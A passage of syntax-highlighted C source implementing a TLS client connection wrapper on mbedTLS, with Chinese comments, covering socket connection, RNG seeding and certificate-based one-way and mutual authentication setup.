</span><span class="lnt"> 88
</span><span class="lnt"> 89
</span><span class="lnt"> 90
</span><span class="lnt"> 91
</span><span class="lnt"> 92
</span><span class="lnt"> 93
</span><span class="lnt"> 94
</span><span class="lnt"> 95
</span><span class="lnt"> 96
</span><span class="lnt"> 97
</span><span class="lnt"> 98
</span><span class="lnt"> 99
</span><span class="lnt">100
</span><span class="lnt">101
</span><span class="lnt">102
</span><span class="lnt">103
</span><span class="lnt">104
</span><span class="lnt">105
</span><span class="lnt">106
</span><span class="lnt">107
</span><span class="lnt">108
</span><span class="lnt">109
</span><span class="lnt">110
</span><span class="lnt">111
</span><span class="lnt">112
</span><span class="lnt">113
</span><span class="lnt">114
</span><span class="lnt">115
</span><span class="lnt">116
</span><span class="lnt">117
</span><span class="lnt">118
</span><span class="lnt">119
</span><span class="lnt">120
</span><span class="lnt">121
</span><span class="lnt">122
</span><span class="lnt">123
</span><span class="lnt">124
</span><span class="lnt">125
</span><span class="lnt">126
</span><span class="lnt">127
</span><span class="lnt">128
</span><span class="lnt">129
</span><span class="lnt">130
</span><span class="lnt">131
</span><span class="lnt">132
</span><span class="lnt">133
</span><span class="lnt">134
</span><span class="lnt">135
</span><span class="lnt">136
</span><span class="lnt">137
</span><span class="lnt">138
</span><span class="lnt">139
</span><span class="lnt">140
</span><span class="lnt">141
</span><span class="lnt">142
</span><span class="lnt">143
</span><span class="lnt">144
</span><span class="lnt">145
</span><span class="lnt">146
</span><span class="lnt">147
</span><span class="lnt">148
</span><span class="lnt">149
</span><span class="lnt">150
</span><span class="lnt">151
</span><span class="lnt">152
</span><span class="lnt">153
</span><span class="lnt">154
</span><span class="lnt">155
</span><span class="lnt">156
</span><span class="lnt">157
</span><span class="lnt">158
</span><span class="lnt">159
</span><span class="lnt">160
</span><span class="lnt">161
</span><span class="lnt">162
</span><span class="lnt">163
</span><span class="lnt">164
</span><span class="lnt">165
</span><span class="lnt">166
</span><span class="lnt">167
</span><span class="lnt">168
</span><span class="lnt">169
</span><span class="lnt">170
</span><span class="lnt">171
</span><span class="lnt">172
</span><span class="lnt">173
</span><span class="lnt">174
</span><span class="lnt">175
</span><span class="lnt">176
</span><span class="lnt">177
</span><span class="lnt">178
</span><span class="lnt">179
</span><span class="lnt">180
</span><span class="lnt">181
</span><span class="lnt">182
</span><span class="lnt">183
</span><span class="lnt">184
</span><span class="lnt">185
</span><span class="lnt">186
</span><span class="lnt">187
</span><span class="lnt">188
</span><span class="lnt">189
</span><span class="lnt">190
</span><span class="lnt">191
</span><span class="lnt">192
</span><span class="lnt">193
</span><span class="lnt">194
</span><span class="lnt">195
</span><span class="lnt">196
</span><span class="lnt">197
</span><span class="lnt">198
</span><span class="lnt">199
</span><span class="lnt">200
</span><span class="lnt">201
</span><span class="lnt">202
</span><span class="lnt">203
</span><span class="lnt">204
</span><span class="lnt">205
</span><span class="lnt">206
</span><span class="lnt">207
</span><span class="lnt">208
</span><span class="lnt">209
</span><span class="lnt">210
</span><span class="lnt">211
</span><span class="lnt">212
</span><span class="lnt">213
</span><span class="lnt">214
</span><span class="lnt">215
</span><span class="lnt">216
</span><span class="lnt">217
</span><span class="lnt">218
</span><span class="lnt">219
</span><span class="lnt">220
</span><span class="lnt">221
</span><span class="lnt">222
</span><span class="lnt">223
</span><span class="lnt">224
</span><span class="lnt">225
</span><span class="lnt">226
</span><span class="lnt">227
</span><span class="lnt">228
</span><span class="lnt">229
</span><span class="lnt">230
</span><span class="lnt">231
</span><span class="lnt">232
</span><span class="lnt">233
</span><span class="lnt">234
</span><span class="lnt">235
</span><span class="lnt">236
</span><span class="lnt">237
</span><span class="lnt">238
</span><span class="lnt">239
</span><span class="lnt">240
</span><span class="lnt">241
</span><span class="lnt">242
</span><span class="lnt">243
</span><span class="lnt">244
</span><span class="lnt">245
</span><span class="lnt">246
</span><span class="lnt">247
</span><span class="lnt">248
</span><span class="lnt">249
</span><span class="lnt">250
</span><span class="lnt">251
</span><span class="lnt">252
</span><span class="lnt">253
</span><span class="lnt">254
</span><span class="lnt">255
</span><span class="lnt">256
</span><span class="lnt">257
</span><span class="lnt">258
</span><span class="lnt">259
</span><span class="lnt">260
</span><span class="lnt">261
</span><span class="lnt">262
</span><span class="lnt">263
</span><span class="lnt">264
</span><span class="lnt">265
</span><span class="lnt">266
</span><span class="lnt">267
</span><span class="lnt">268
</span><span class="lnt">269
</span><span class="lnt">270
</span><span class="lnt">271
</span><span class="lnt">272
</span><span class="lnt">273
</span><span class="lnt">274
</span><span class="lnt">275
</span><span class="lnt">276
</span><span class="lnt">277
</span><span class="lnt">278
</span><span class="lnt">279
</span><span class="lnt">280
</span><span class="lnt">281
</span><span class="lnt">282
</span><span class="lnt">283
</span><span class="lnt">284
</span><span class="lnt">285
</span><span class="lnt">286
</span><span class="lnt">287
</span><span class="lnt">288
</span><span class="lnt">289
</span><span class="lnt">290
</span><span class="lnt">291
</span><span class="lnt">292
</span><span class="lnt">293
</span><span class="lnt">294
</span><span class="lnt">295
</span><span class="lnt">296
</span><span class="lnt">297
</span><span class="lnt">298
</span><span class="lnt">299
</span><span class="lnt">300
</span><span class="lnt">301
</span><span class="lnt">302
</span><span class="lnt">303
</span><span class="lnt">304
</span><span class="lnt">305
</span><span class="lnt">306
</span><span class="lnt">307
</span><span class="lnt">308
</span><span class="lnt">309
</span><span class="lnt">310
</span><span class="lnt">311
</span><span class="lnt">312
</span><span class="lnt">313
</span><span class="lnt">314
</span><span class="lnt">315
</span><span class="lnt">316
</span><span class="lnt">317
</span><span class="lnt">318
</span><span class="lnt">319
</span><span class="lnt">320
</span><span class="lnt">321
</span><span class="lnt">322
</span><span class="lnt">323
</span><span class="lnt">324
</span><span class="lnt">325
</span><span class="lnt">326
</span><span class="lnt">327
</span><span class="lnt">328
</span><span class="lnt">329
</span><span class="lnt">330
</span><span class="lnt">331
</span><span class="lnt">332
</span><span class="lnt">333
</span><span class="lnt">334
</span><span class="lnt">335
</span><span class="lnt">336
</span><span class="lnt">337
</span><span class="lnt">338
</span><span class="lnt">339
</span><span class="lnt">340
</span><span class="lnt">341
</span><span class="lnt">342
</span><span class="lnt">343
</span><span class="lnt">344
</span><span class="lnt">345
</span><span class="lnt">346
</span><span class="lnt">347
</span><span class="lnt">348
</span><span class="lnt">349
</span><span class="lnt">350
</span><span class="lnt">351
</span><span class="lnt">352
</span><span class="lnt">353
</span><span class="lnt">354
</span><span class="lnt">355
</span><span class="lnt">356
</span><span class="lnt">357
</span><span class="lnt">358
</span><span class="lnt">359
</span><span class="lnt">360
</span><span class="lnt">361
</span><span class="lnt">362
</span><span class="lnt">363
</span><span class="lnt">364
</span><span class="lnt">365
</span><span class="lnt">366
</span><span class="lnt">367
</span><span class="lnt">368
</span><span class="lnt">369
</span><span class="lnt">370
</span><span class="lnt">371
</span><span class="lnt">372
</span><span class="lnt">373
</span><span class="lnt">374
</span><span class="lnt">375
</span><span class="lnt">376
</span><span class="lnt">377
</span><span class="lnt">378
</span><span class="lnt">379
</span><span class="lnt">380
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&#34;qt_idf_tls.h&#34;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&#34;dlg/dlg.h&#34;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&#34;mbedtls/net_sockets.h&#34;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&#34;mbedtls/ssl.h&#34;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&#34;mbedtls/ctr_drbg.h&#34;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&#34;mbedtls/debug.h&#34;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&#34;mbedtls/platform.h&#34;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&#34;mbedtls/timing.h&#34;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&#34;mbedtls/entropy.h&#34;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&#34;mbedtls/error.h&#34;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="k">typedef</span> <span class="k">struct</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">mbedtls_net_context</span>      <span class="n">socket_fd</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">mbedtls_entropy_context</span>  <span class="n">entropy</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">mbedtls_ctr_drbg_context</span> <span class="n">ctr_drbg</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">mbedtls_ssl_context</span>      <span class="n">ssl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">mbedtls_ssl_config</span>       <span class="n">ssl_conf</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">mbedtls_x509_crt</span>         <span class="n">ca_cert</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">mbedtls_x509_crt</span>         <span class="n">client_cert</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">mbedtls_pk_context</span>       <span class="n">private_key</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span><span class="kt">qtf_tls_handle_t</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">#if defined(MBEDTLS_DEBUG_C)
</span></span></span><span class="line"><span class="cl"><span class="cp"></span><span class="k">static</span> <span class="kt">void</span> <span class="nf">_ssl_debug</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">ctx</span><span class="p">,</span> <span class="kt">int</span> <span class="n">level</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">file</span><span class="p">,</span> <span class="kt">int</span> <span class="n">line</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">str</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;[mbedTLS]:[%s]:[%d]: %s</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="p">(</span><span class="n">file</span><span class="p">),</span> <span class="n">line</span><span class="p">,</span> <span class="p">(</span><span class="n">str</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">#endif
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">int</span> <span class="nf">_mbedtls_tcp_connect</span><span class="p">(</span><span class="n">mbedtls_net_context</span> <span class="o">*</span><span class="n">ctx</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">host</span><span class="p">,</span> <span class="kt">uint16_t</span> <span class="n">port</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">ret</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">char</span> <span class="n">port_str</span><span class="p">[</span><span class="mi">6</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">snprintf</span><span class="p">(</span><span class="n">port_str</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">port_str</span><span class="p">),</span> <span class="s">&#34;%d&#34;</span><span class="p">,</span> <span class="n">port</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">ret</span> <span class="o">=</span> <span class="nf">mbedtls_net_connect</span><span class="p">(</span><span class="n">ctx</span><span class="p">,</span> <span class="n">host</span><span class="p">,</span> <span class="n">port_str</span><span class="p">,</span> <span class="n">MBEDTLS_NET_PROTO_TCP</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">ret</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;mbedtls_net_connect connect failed returned 0x%04x errno: %d&#34;</span><span class="p">,</span> <span class="n">ret</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="o">?</span> <span class="o">-</span><span class="nl">ret</span> <span class="p">:</span> <span class="n">ret</span><span class="p">,</span> <span class="n">errno</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">       
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="n">ret</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">ret</span> <span class="o">=</span> <span class="nf">mbedtls_net_set_block</span><span class="p">(</span><span class="n">ctx</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">ret</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;mbedtls_net_set_block failed returned 0x%04x errno: %d&#34;</span><span class="p">,</span> <span class="n">ret</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="o">?</span> <span class="o">-</span><span class="nl">ret</span> <span class="p">:</span> <span class="n">ret</span><span class="p">,</span> <span class="n">errno</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="n">ret</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">int</span> <span class="nf">_tls_net_init</span><span class="p">(</span><span class="kt">qtf_tls_handle_t</span> <span class="o">*</span><span class="n">handle</span><span class="p">,</span> <span class="kt">qtf_tls_conn_param_t</span> <span class="o">*</span><span class="n">param</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">ret</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">mbedtls_net_init</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">socket_fd</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">    <span class="nf">mbedtls_ssl_init</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ssl</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">    <span class="nf">mbedtls_ssl_config_init</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ssl_conf</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">    <span class="nf">mbedtls_ctr_drbg_init</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ctr_drbg</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="nf">mbedtls_entropy_init</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">entropy</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">#if defined(MBEDTLS_DEBUG_C)
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>    <span class="nf">mbedtls_debug_set_threshold</span><span class="p">(</span><span class="n">param</span><span class="o">-&gt;</span><span class="n">debug_level</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">mbedtls_ssl_conf_dbg</span><span class="p">(</span><span class="o">&amp;</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ssl_conf</span><span class="p">,</span> <span class="n">_ssl_debug</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="cp">#endif
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="cp">#if defined(MBEDTLS_USE_PSA_CRYPTO) || defined(MBEDTLS_SSL_PROTO_TLS1_3)
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>    <span class="c1">// tls 1.3 需要调用 psa_crypto_init
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">ret</span> <span class="o">=</span> <span class="nf">psa_crypto_init</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">!=</span> <span class="n">PSA_SUCCESS</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;psa_crypto_init failed&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">goto</span> <span class="n">error</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="cp">#endif
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl">    <span class="n">ret</span> <span class="o">=</span> <span class="nf">mbedtls_ssl_conf_max_frag_len</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ssl_conf</span><span class="p">),</span> <span class="n">param</span><span class="o">-&gt;</span><span class="n">max_frag_len</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;mbedtls_ssl_conf_max_frag_len failed&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">goto</span> <span class="n">error</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">ret</span> <span class="o">=</span> <span class="nf">mbedtls_ctr_drbg_seed</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ctr_drbg</span><span class="p">),</span> <span class="n">mbedtls_entropy_func</span><span class="p">,</span> <span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">entropy</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;mbedtls_ctr_drbg_seed failed&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">goto</span> <span class="n">error</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">	
</span></span><span class="line"><span class="cl">    <span class="c1">// 证书认证方式
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">if</span><span class="p">(</span><span class="n">param</span><span class="o">-&gt;</span><span class="n">auth_mode</span> <span class="o">==</span> <span class="n">QTF_TLS_AUTH_MODE_CERT</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="n">param</span><span class="o">-&gt;</span><span class="n">ca_cert</span> <span class="o">&amp;&amp;</span> <span class="n">param</span><span class="o">-&gt;</span><span class="n">ca_cert_len</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nf">mbedtls_x509_crt_init</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ca_cert</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">            <span class="n">ret</span> <span class="o">=</span> <span class="nf">mbedtls_x509_crt_parse</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ca_cert</span><span class="p">),</span> <span class="p">(</span><span class="k">const</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">param</span><span class="o">-&gt;</span><span class="n">ca_cert</span><span class="p">,</span> <span class="n">param</span><span class="o">-&gt;</span><span class="n">ca_cert_len</span><span class="o">+</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;mbedtls_x509_crt_parse failed&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="k">goto</span> <span class="n">error</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span><span class="p">(</span><span class="n">param</span><span class="o">-&gt;</span><span class="n">verify_mode</span> <span class="o">!=</span> <span class="n">QTF_TLS_VERIFY_MODE_NONE</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;invalid ca cert&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="k">goto</span> <span class="n">error</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">            <span class="nf">dlg_info</span><span class="p">(</span><span class="s">&#34;verify mode is none&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        
</span></span><span class="line"><span class="cl">        <span class="nf">mbedtls_ssl_conf_ca_chain</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ssl_conf</span><span class="p">),</span> <span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ca_cert</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">param</span><span class="o">-&gt;</span><span class="n">client_cert</span> <span class="o">&amp;&amp;</span> <span class="n">param</span><span class="o">-&gt;</span><span class="n">client_cert_len</span> <span class="o">&amp;&amp;</span> <span class="n">param</span><span class="o">-&gt;</span><span class="n">client_key</span> <span class="o">&amp;&amp;</span> <span class="n">param</span><span class="o">-&gt;</span><span class="n">client_key_len</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="c1">// 双向认证
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>            <span class="nf">mbedtls_x509_crt_init</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">client_cert</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">            <span class="nf">mbedtls_pk_init</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">private_key</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">            <span class="n">ret</span> <span class="o">=</span> <span class="nf">mbedtls_x509_crt_parse</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">client_cert</span><span class="p">),</span> <span class="p">(</span><span class="k">const</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">param</span><span class="o">-&gt;</span><span class="n">client_cert</span><span class="p">,</span> <span class="n">param</span><span class="o">-&gt;</span><span class="n">client_cert_len</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;mbedtls_x509_crt_parse failed&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="k">goto</span> <span class="n">error</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="n">ret</span> <span class="o">=</span> <span class="nf">mbedtls_pk_parse_key</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">private_key</span><span class="p">),</span> <span class="p">(</span><span class="k">const</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">param</span><span class="o">-&gt;</span><span class="n">client_key</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                       <span class="n">param</span><span class="o">-&gt;</span><span class="n">client_key_len</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="p">(</span><span class="k">const</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">param</span><span class="o">-&gt;</span><span class="n">client_key_passwd</span><span class="p">,</span> <span class="n">param</span><span class="o">-&gt;</span><span class="n">client_key_passwd_len</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;mbedtls_pk_parse_key failed&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="k">goto</span> <span class="n">error</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">            <span class="n">ret</span> <span class="o">=</span> <span class="nf">mbedtls_ssl_conf_own_cert</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ssl_conf</span><span class="p">),</span> <span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">client_cert</span><span class="p">),</span> <span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">private_key</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;mbedtls_ssl_conf_own_cert failed&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="k">goto</span> <span class="n">error</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// psk 认证
